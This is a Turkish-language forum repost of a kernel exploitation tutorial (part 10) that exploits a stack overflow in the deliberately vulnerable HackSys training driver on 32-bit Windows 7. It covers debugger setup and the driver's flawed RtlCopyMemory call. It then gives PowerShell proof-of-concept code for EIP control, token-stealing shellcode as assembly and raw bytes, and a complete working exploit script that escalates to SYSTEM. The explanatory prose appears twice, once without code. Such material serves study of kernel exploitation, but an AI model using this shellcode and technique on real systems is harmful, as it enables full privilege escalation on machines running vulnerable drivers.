- 21 Eki 2015
- 477
- 1
Part 10: Kernel Exploitleme -> Yığın Taşması
Merhaba ve bu serinin 10.kısmına 3 yıldan fazla aradan sonra hoş geldiniz! Ring0ya doğru yolculuğumuza başlayacağız ve karşılaştığımız yeni zorlukları yavaş yavaş halledeceğiz. Bu kısımda, Windows 7de kernel alanında bir yığın taşmasına bakacağız (SMEP & SMAP yok). Buradaki hedefimiz 32-bit ancak bu bizi avantajlı duruma sokmaz, bazı ufak değişliklerle aynı exploiti 64-bit içinde kullanabilirsin.
Hedef sürücümüz için @HackSysTeamın en mükemmel projesini kullanacağız, kernel exploitlerini çalışabilmek için bir kaç güvenlik açığı olan bir demo sürücüsü oluşturdular, tatlı! Tamam, hadi başlayalım.
Kaynaklar:
+ HackSysExtremeVulnerableDriver (hacksysteam) - burada
+ Kernel Data Structures (CodeMachine) - burada
+ x64 Kernel Privilege Escalation (McDermott) - burada
+ Abusing GDI for ring0 exploit primitives (Core Security) - burada
+ VirtualKD - burada
+ Kernel debugging with IDA Pro, Windbg plugin and VirtualKd (hexblog) - burada
+ OSR Driver Loader - burada
Ortam Kurulumu
Sadece bu kısım için hata ayıklama ortamına kısaca değinmek istiyorum, çünkü kurulum önceden olduğu gibi acı verici. Özellikle, bu kurulum, Windows tabanlı kullanıcıları hedef alıyor (Evet, biliyorum, üstesinden gel!).
Yukarıdaki linkten VirtualKDyi indir ve dosyadan çıkardıktan sonra hata ayıklayacağın VMye hedef bileşenleri kur.
Tamamlandıktan sonra, üssünüzdeki vmmon binary dosyasını başlatın (x32/x64) ve söz konusu VMyi yeniden başlatın. Bunun gibi bir şey görmelisiniz.
Eğer Debugger Path i yapılandırırsanız, üssünüzdeki Windbgye yönlendirin ve sonra makineye otomatik olarak eklemeniz gereken VMde VirtualKD önyükleme seçeneğini seçin. Kolay & acısız!
Bu hala açıklı sürücünün yüklemesini bize bırakıyor. Bunu yapmak için, üstteki linkten OSR sürücü yükleyicisini indirin (önemsiz bir e-posta ile kaydolun). OSR yükleyicisini çalıştırın ve servise kayıt olun (yeniden başlatmak gerekebilir), bu bittikten sonra, göz ata basın, sürücüyü seçin ve servisi başlata tıklayın. Eğer sorusuz giderse böyle bir ekranla karşılaşmalısınız.
Eğer makineye WinDBG ile bağlıysanız, lm komutunu kullanarak sürücünün başarıyla yüklenip yüklenmediğini kontrol edebilirsiniz.
İsteğe bağlı olarak, IDA Proyu VirtualKDye bağlamak için kılavuza bakın. IDA Pronuz olmasa bile, grafik görünümüne erişmek için ücretsiz versiyonunu indirmenizi tavsiye ederim. Sürücüyü manuel olarak WinDBGde gördüğünüzle eşleşecek şekilde ayarlayabilirsiniz (Düzenle -> Bölümler -> Programın Ayarla). Böylelikle neler olup bittiğini, hangi adreslerin kırılacağı ve bu bilgileri WinDBGye manuel olarak aktarabileceğinizi görsel olarak görürsünüz.
Zorlukları Keşfetme
Evet, yukarıda bahsettiğim gibi, bu kısımda yığın taşmasını yapacağız. HackSysTeamın bize sürücü kaynağı sağladığı için ilgili parçalara bir göz atalım!
Açıkları gösterdiği için tekrar harika bir iş başarmış ayrıca nereyi düzeltmemiz gerektiğini de gösteriyor. RtlCopyMemory, kernel arabelleğine bir işaretçi, arabellek girdisine bir işaretçi ve ne kadar bayt kopyaladığını görmek için bir tam sayı koyuyor. Açıkça burada bir sıkıntı var. Açıklı versiyonda arabellek boyutu giriş arabelleği boyutuna dayanırken, güvenli sürümünde boyut kernel arabelleğinin boyutuyla sınırlıdır. Eğer bu sürücü fonksiyonunu çağırır ve kernel arabelleğinden daha büyük bir arabellek verirsek, bir çeşit ilkel exploit elde ederiz.
Tamam, IDAdaki IrpDeviceloCtlHandler tablosuna bir göz atalım, burada sürücü, IOCTL girişini bildiği ile karşılaştırır.
Oldukça çok IOCTL! Bu grafiğin sol tarafına doğru ilerlerken aşağıdakileri görüyoruz.
IOCTL 0x222003 değerinde ise TriggerStackOverflow fonksiyon çağrısına geçeceğiz. Anahtar ifadesini araştırmak için biraz zaman alır. Temelde girdi IOCTL, dallanmadan daha büyük/küçük yapılarak karşılaştırılır ve sonra geçerli bir kod bulunana kadar veya switch ifadesi geçersiz IOCTL.. bloğuna gelene kadar çıkarıyoruz.
TriggerStackOverflow fonksiyonuna baktığımızda kaynakta az çok ne bulacağımızı görebiliyoruz, ayrıca kernel arabelleğinin 0x800 (2048) uzunluğuna sahip olduğuna dikkat edin.
Her şeyi yerle bir et!
EIPyi kontrol etme
Şimdilik ihtiyacımız olan tüm bilgilere sahibiz, açıklı yöntemi çağırmaya çalışalım ve biraz veri ele geçirelim. Bu, Powershellde bulduğum şablon kodudur.
Harika, hata ayıklayıcı çıktısından, hedef fonksiyonumuzu çağırmayı başardığımızı görüyoruz. Görünen o ki, taşmayı tetiklemek için yeterli veri göndermiyoruz. Bunu 0x900 (2304) baytlı bir arabellek ile tekrar deneyelim.
Tamam, VMyi mavi ekrana sokmayı başardık, ufak bir hesaplama yaparak , EIPye tam ofset bulabiliriz (ve bu konuda EBP). Bu kısmı egzersiz olması için okuyuculara bırakıyorum (pattern_create sizin dostunuz). POCumuzu değiştirelim ve taşmayı tekrar tetikleyelim.
Shell Kodu
Kernel boşluğunda çalıştırma kodumuz var ancak istediğimiz her türden shell kodunu çalıştıramayız! Deneyebileceğimiz bir sürü malzeme var (örn. Bir ring3 shell kodu evresi yazma) ancak şimdilik basit bir ayrıcalık yükseltme saldırısı ile devam etmek en iyisidir.
Windowsta tüm nesneler, söz konusu nesne üzerinde kimin hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik tanımlayıcılarına sahiptir. Erişim izinlerini sağlayan bir çok türde işaretçi vardır ancak NT AUTHORITY\SYSTEM belirteci en ayrıcalıklı olanıdır. Sistemdeki herhangi bir nesne üzerinde herhangi bir eylem gerçekleştirebilir (biraz karmaşık tamam mı). Çok basit bir seviyede, shell kodumuzun ne yapmasını istiyoruz: (1) geçerli işlemin belirtecini bulun (powershell), (2) bir sistem süreci bulana kadar süreçlerin listesi arasında döngü yapın (PID 4 iyidir çünkü statik bir sistem süreç PIDsidir), (3) bu sürecin belirtecini bulun ve (4) belirtecimizin üstüne yazın.
Shell kodunu yazmak biraz uzun olduğu için, bir dizi statik ofset aramamız gerekiyor, Süreci burada anlatmayacağım. Detaylı anlatım için x64 Kernel Privilege Escalation makalesine buradan ulaşabilirsiniz, ek olarak HackSysTeam sürücüsü burada bulunan örnek payloadlara bakabilirsiniz. Shell kodun genel yapısı aşağıdaki gibi olmalıdır.
Bu çözüm kullanılabilir ancak bir şey eksik. Taşmayı tetiklediğimizde ve shell kodumuzu çalıtırdığımızda yığını biraz bozabiliriz. Shell kodumuzun eksik talimatları eklemesini istiyoruz bu yüzden sistem belirtecini çoğalttıktan sonra kutuyu mavi ekrana sokmak istemiyoruz.
Kaza ile ilgili daha yakın bir soruşturduğumuzda TriggerStackOverflow fonksiyonundan çıktığımızda dönüş adresinin üzerine yazarak EIP üzerinde kontrol sahibi oluyoruz.
Bu adrese bir kesme noktası koyalım ve sürücüye küçük bir arabellek yollayalım böylece normal süreçte ne olacağını görmüş oluruz.
Şimdi ise taşmayı tetiklediğimizde yığının nasıl göründüğüne bakalım.
Neyse ki, tam bir yeniden yazma yapıyoruz, o kadarda kötü değil. Shell kodumuz çalıştıktan sonra biz sadece pop ebp ve ret 8 e benzetmemiz gerek. Bu şekilde yürütme akışı her zamanki gibi HackSysTeamExteremeVulnerableDriver+0x503ddeki gibi geri yönlendirilecektir. Belli olmasa da, sürücü işlevinin NTSTATUS->STATUS_SUCCESS (0x00000000) döndürdüğü gibi görünmesini sağlayacağı için EAXi null istiyoruz.
Bu işimizi görmesi lazım. Shell kodunun son halini aşağıda görebilirsiniz:
Yan bilgi: Derlemeyi ve birleştirmeyi Keystone Motoru ile yaptım ( Keystone İndir)
Oyun Bitti
İhtiyacımız olan her şeye sahibiz. Geriye kalan tek şey, shell kodumuzu bellekte bir yere yerleştirmek ve EIP adresini yazmaktır. Shell kodu belleği okuma/yazma/yürütme olarak işaretlediğini unutmayın. Tam exploitlemeyi aşağıda görebilirsiniz.
Merhaba ve bu serinin 10.kısmına 3 yıldan fazla aradan sonra hoş geldiniz! Ring0ya doğru yolculuğumuza başlayacağız ve karşılaştığımız yeni zorlukları yavaş yavaş halledeceğiz. Bu kısımda, Windows 7de kernel alanında bir yığın taşmasına bakacağız (SMEP & SMAP yok). Buradaki hedefimiz 32-bit ancak bu bizi avantajlı duruma sokmaz, bazı ufak değişliklerle aynı exploiti 64-bit içinde kullanabilirsin.
Hedef sürücümüz için @HackSysTeamın en mükemmel projesini kullanacağız, kernel exploitlerini çalışabilmek için bir kaç güvenlik açığı olan bir demo sürücüsü oluşturdular, tatlı! Tamam, hadi başlayalım.
Kaynaklar:
+ HackSysExtremeVulnerableDriver (hacksysteam) - burada
+ Kernel Data Structures (CodeMachine) - burada
+ x64 Kernel Privilege Escalation (McDermott) - burada
+ Abusing GDI for ring0 exploit primitives (Core Security) - burada
+ VirtualKD - burada
+ Kernel debugging with IDA Pro, Windbg plugin and VirtualKd (hexblog) - burada
+ OSR Driver Loader - burada
Ortam Kurulumu
Sadece bu kısım için hata ayıklama ortamına kısaca değinmek istiyorum, çünkü kurulum önceden olduğu gibi acı verici. Özellikle, bu kurulum, Windows tabanlı kullanıcıları hedef alıyor (Evet, biliyorum, üstesinden gel!).
Yukarıdaki linkten VirtualKDyi indir ve dosyadan çıkardıktan sonra hata ayıklayacağın VMye hedef bileşenleri kur.
Tamamlandıktan sonra, üssünüzdeki vmmon binary dosyasını başlatın (x32/x64) ve söz konusu VMyi yeniden başlatın. Bunun gibi bir şey görmelisiniz.
Eğer Debugger Path i yapılandırırsanız, üssünüzdeki Windbgye yönlendirin ve sonra makineye otomatik olarak eklemeniz gereken VMde VirtualKD önyükleme seçeneğini seçin. Kolay & acısız!
Bu hala açıklı sürücünün yüklemesini bize bırakıyor. Bunu yapmak için, üstteki linkten OSR sürücü yükleyicisini indirin (önemsiz bir e-posta ile kaydolun). OSR yükleyicisini çalıştırın ve servise kayıt olun (yeniden başlatmak gerekebilir), bu bittikten sonra, göz ata basın, sürücüyü seçin ve servisi başlata tıklayın. Eğer sorusuz giderse böyle bir ekranla karşılaşmalısınız.
Eğer makineye WinDBG ile bağlıysanız, lm komutunu kullanarak sürücünün başarıyla yüklenip yüklenmediğini kontrol edebilirsiniz.
İsteğe bağlı olarak, IDA Proyu VirtualKDye bağlamak için kılavuza bakın. IDA Pronuz olmasa bile, grafik görünümüne erişmek için ücretsiz versiyonunu indirmenizi tavsiye ederim. Sürücüyü manuel olarak WinDBGde gördüğünüzle eşleşecek şekilde ayarlayabilirsiniz (Düzenle -> Bölümler -> Programın Ayarla). Böylelikle neler olup bittiğini, hangi adreslerin kırılacağı ve bu bilgileri WinDBGye manuel olarak aktarabileceğinizi görsel olarak görürsünüz.
Zorlukları Keşfetme
Evet, yukarıda bahsettiğim gibi, bu kısımda yığın taşmasını yapacağız. HackSysTeamın bize sürücü kaynağı sağladığı için ilgili parçalara bir göz atalım!
Kod:
NTSTATUS TriggerStackOverflow(IN P**** UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((P****)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((P****)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
Açıkları gösterdiği için tekrar harika bir iş başarmış ayrıca nereyi düzeltmemiz gerektiğini de gösteriyor. RtlCopyMemory, kernel arabelleğine bir işaretçi, arabellek girdisine bir işaretçi ve ne kadar bayt kopyaladığını görmek için bir tam sayı koyuyor. Açıkça burada bir sıkıntı var. Açıklı versiyonda arabellek boyutu giriş arabelleği boyutuna dayanırken, güvenli sürümünde boyut kernel arabelleğinin boyutuyla sınırlıdır. Eğer bu sürücü fonksiyonunu çağırır ve kernel arabelleğinden daha büyük bir arabellek verirsek, bir çeşit ilkel exploit elde ederiz.
Tamam, IDAdaki IrpDeviceloCtlHandler tablosuna bir göz atalım, burada sürücü, IOCTL girişini bildiği ile karşılaştırır.
Oldukça çok IOCTL! Bu grafiğin sol tarafına doğru ilerlerken aşağıdakileri görüyoruz.
IOCTL 0x222003 değerinde ise TriggerStackOverflow fonksiyon çağrısına geçeceğiz. Anahtar ifadesini araştırmak için biraz zaman alır. Temelde girdi IOCTL, dallanmadan daha büyük/küçük yapılarak karşılaştırılır ve sonra geçerli bir kod bulunana kadar veya switch ifadesi geçersiz IOCTL.. bloğuna gelene kadar çıkarıyoruz.
TriggerStackOverflow fonksiyonuna baktığımızda kaynakta az çok ne bulacağımızı görebiliyoruz, ayrıca kernel arabelleğinin 0x800 (2048) uzunluğuna sahip olduğuna dikkat edin.
Her şeyi yerle bir et!
EIPyi kontrol etme
Şimdilik ihtiyacımız olan tüm bilgilere sahibiz, açıklı yöntemi çağırmaya çalışalım ve biraz veri ele geçirelim. Bu, Powershellde bulduğum şablon kodudur.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAl********Type,
UInt32 flProtect);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
$Buffer = [Byte[]](0x41)*0x100
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)
|Out-null
Harika, hata ayıklayıcı çıktısından, hedef fonksiyonumuzu çağırmayı başardığımızı görüyoruz. Görünen o ki, taşmayı tetiklemek için yeterli veri göndermiyoruz. Bunu 0x900 (2304) baytlı bir arabellek ile tekrar deneyelim.
Tamam, VMyi mavi ekrana sokmayı başardık, ufak bir hesaplama yaparak , EIPye tam ofset bulabiliriz (ve bu konuda EBP). Bu kısmı egzersiz olması için okuyuculara bırakıyorum (pattern_create sizin dostunuz). POCumuzu değiştirelim ve taşmayı tekrar tetikleyelim.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAl********Type,
UInt32 flProtect);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
#---[EIP control]
# 0x41 = 0x800 (buffer allocated by the driver)
# 0x42 = 28 (filler)
# 0x43 = 4 (EBP)
# 0x44 = 4 (EIP)
#---
$Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*28 + [Byte[]](0x43)*4 + [Byte[]](0x44)*4
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)
|Out-null
Shell Kodu
Kernel boşluğunda çalıştırma kodumuz var ancak istediğimiz her türden shell kodunu çalıştıramayız! Deneyebileceğimiz bir sürü malzeme var (örn. Bir ring3 shell kodu evresi yazma) ancak şimdilik basit bir ayrıcalık yükseltme saldırısı ile devam etmek en iyisidir.
Windowsta tüm nesneler, söz konusu nesne üzerinde kimin hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik tanımlayıcılarına sahiptir. Erişim izinlerini sağlayan bir çok türde işaretçi vardır ancak NT AUTHORITY\SYSTEM belirteci en ayrıcalıklı olanıdır. Sistemdeki herhangi bir nesne üzerinde herhangi bir eylem gerçekleştirebilir (biraz karmaşık tamam mı). Çok basit bir seviyede, shell kodumuzun ne yapmasını istiyoruz: (1) geçerli işlemin belirtecini bulun (powershell), (2) bir sistem süreci bulana kadar süreçlerin listesi arasında döngü yapın (PID 4 iyidir çünkü statik bir sistem süreç PIDsidir), (3) bu sürecin belirtecini bulun ve (4) belirtecimizin üstüne yazın.
Shell kodunu yazmak biraz uzun olduğu için, bir dizi statik ofset aramamız gerekiyor, Süreci burada anlatmayacağım. Detaylı anlatım için x64 Kernel Privilege Escalation makalesine buradan ulaşabilirsiniz, ek olarak HackSysTeam sürücüsü burada bulunan örnek payloadlara bakabilirsiniz. Shell kodun genel yapısı aşağıdaki gibi olmalıdır.
Kod:
#---[Setup]
pushad ; Save register state
mov eax, fs:[KTHREAD_OFFSET] ; nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET] ; nt!_KTHREAD.ApcState.Process
mov ecx, eax
mov ebx, [eax + TOKEN_OFFSET] ; nt!_EPROCESS.Token
#---[Copy System PID token]
mov edx, 4 ; PID 4 -> System
mov eax, [eax + FLINK_OFFSET] <-| ; nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET |
cmp [eax + PID_OFFSET], edx | ; nt!_EPROCESS.UniqueProcessId
jnz ->| ; Loop !(PID=4)
mov edx, [eax + TOKEN_OFFSET] ; System nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace PowerShell token
#---[Recover]
popad ; Restore register state
Bu çözüm kullanılabilir ancak bir şey eksik. Taşmayı tetiklediğimizde ve shell kodumuzu çalıtırdığımızda yığını biraz bozabiliriz. Shell kodumuzun eksik talimatları eklemesini istiyoruz bu yüzden sistem belirtecini çoğalttıktan sonra kutuyu mavi ekrana sokmak istemiyoruz.
Kaza ile ilgili daha yakın bir soruşturduğumuzda TriggerStackOverflow fonksiyonundan çıktığımızda dönüş adresinin üzerine yazarak EIP üzerinde kontrol sahibi oluyoruz.
Bu adrese bir kesme noktası koyalım ve sürücüye küçük bir arabellek yollayalım böylece normal süreçte ne olacağını görmüş oluruz.
Kod:
****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x01F454A8
[+] UserBuffer Size: 0x100
[+] KernelBuffer: 0x93E933B4
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x45ce:
936045ce c20800 ret 8 <-------[Stack] 93e93bd4 936045f4 HackSysExtremeVulnerableDriver+0x45f4
93e93bd8 01f454a8
93e93bdc 00000100
93e93be0 93e93bfc
93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
HackSysExtremeVulnerableDriver+0x45f4:
936045f4 5d pop ebp <-------[Stack] 93e93be0 93e93bfc
93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
93e93be8 856cc268
HackSysExtremeVulnerableDriver+0x45f5:
936045f5 c20800 ret 8 <-------[Stack] 93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
93e93be8 856cc268
93e93bec 856cc2d8
93e93bf0 84be4a80
Şimdi ise taşmayı tetiklediğimizde yığının nasıl göründüğüne bakalım.
Kod:
****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x01DE8608
[+] UserBuffer Size: 0x824
[+] KernelBuffer: 0x93B4B3B4
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x45ce:
936045ce c20800 ret 8 <-------[Stack] 93b4bbd4 44444444
93b4bbd8 01de8608
93b4bbdc 00000824
93b4bbe0 93b4bbfc
93b4bbe4 9360503d HackSysExtremeVulnerableDriver+0x503d
Neyse ki, tam bir yeniden yazma yapıyoruz, o kadarda kötü değil. Shell kodumuz çalıştıktan sonra biz sadece pop ebp ve ret 8 e benzetmemiz gerek. Bu şekilde yürütme akışı her zamanki gibi HackSysTeamExteremeVulnerableDriver+0x503ddeki gibi geri yönlendirilecektir. Belli olmasa da, sürücü işlevinin NTSTATUS->STATUS_SUCCESS (0x00000000) döndürdüğü gibi görünmesini sağlayacağı için EAXi null istiyoruz.
Bu işimizi görmesi lazım. Shell kodunun son halini aşağıda görebilirsiniz:
Kod:
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0x31, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p
0x5D, # pop ebp
0xC2, 0x08, 0x00 # ret 8
)
Yan bilgi: Derlemeyi ve birleştirmeyi Keystone Motoru ile yaptım ( Keystone İndir)
Oyun Bitti
İhtiyacımız olan her şeye sahibiz. Geriye kalan tek şey, shell kodumuzu bellekte bir yere yerleştirmek ve EIP adresini yazmaktır. Shell kodu belleği okuma/yazma/yürütme olarak işaretlediğini unutmayın. Tam exploitlemeyi aşağıda görebilirsiniz.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAl********Type,
UInt32 flProtect);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0x31, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p
0x5D, # pop ebp
0xC2, 0x08, 0x00 # ret 8
)
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"
# Get handle to driver
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
# HACKSYS_EVD_STACKOVERFLOW IOCTL = 0x222003
#---
$Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*32 + $EIP
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)
|Out-null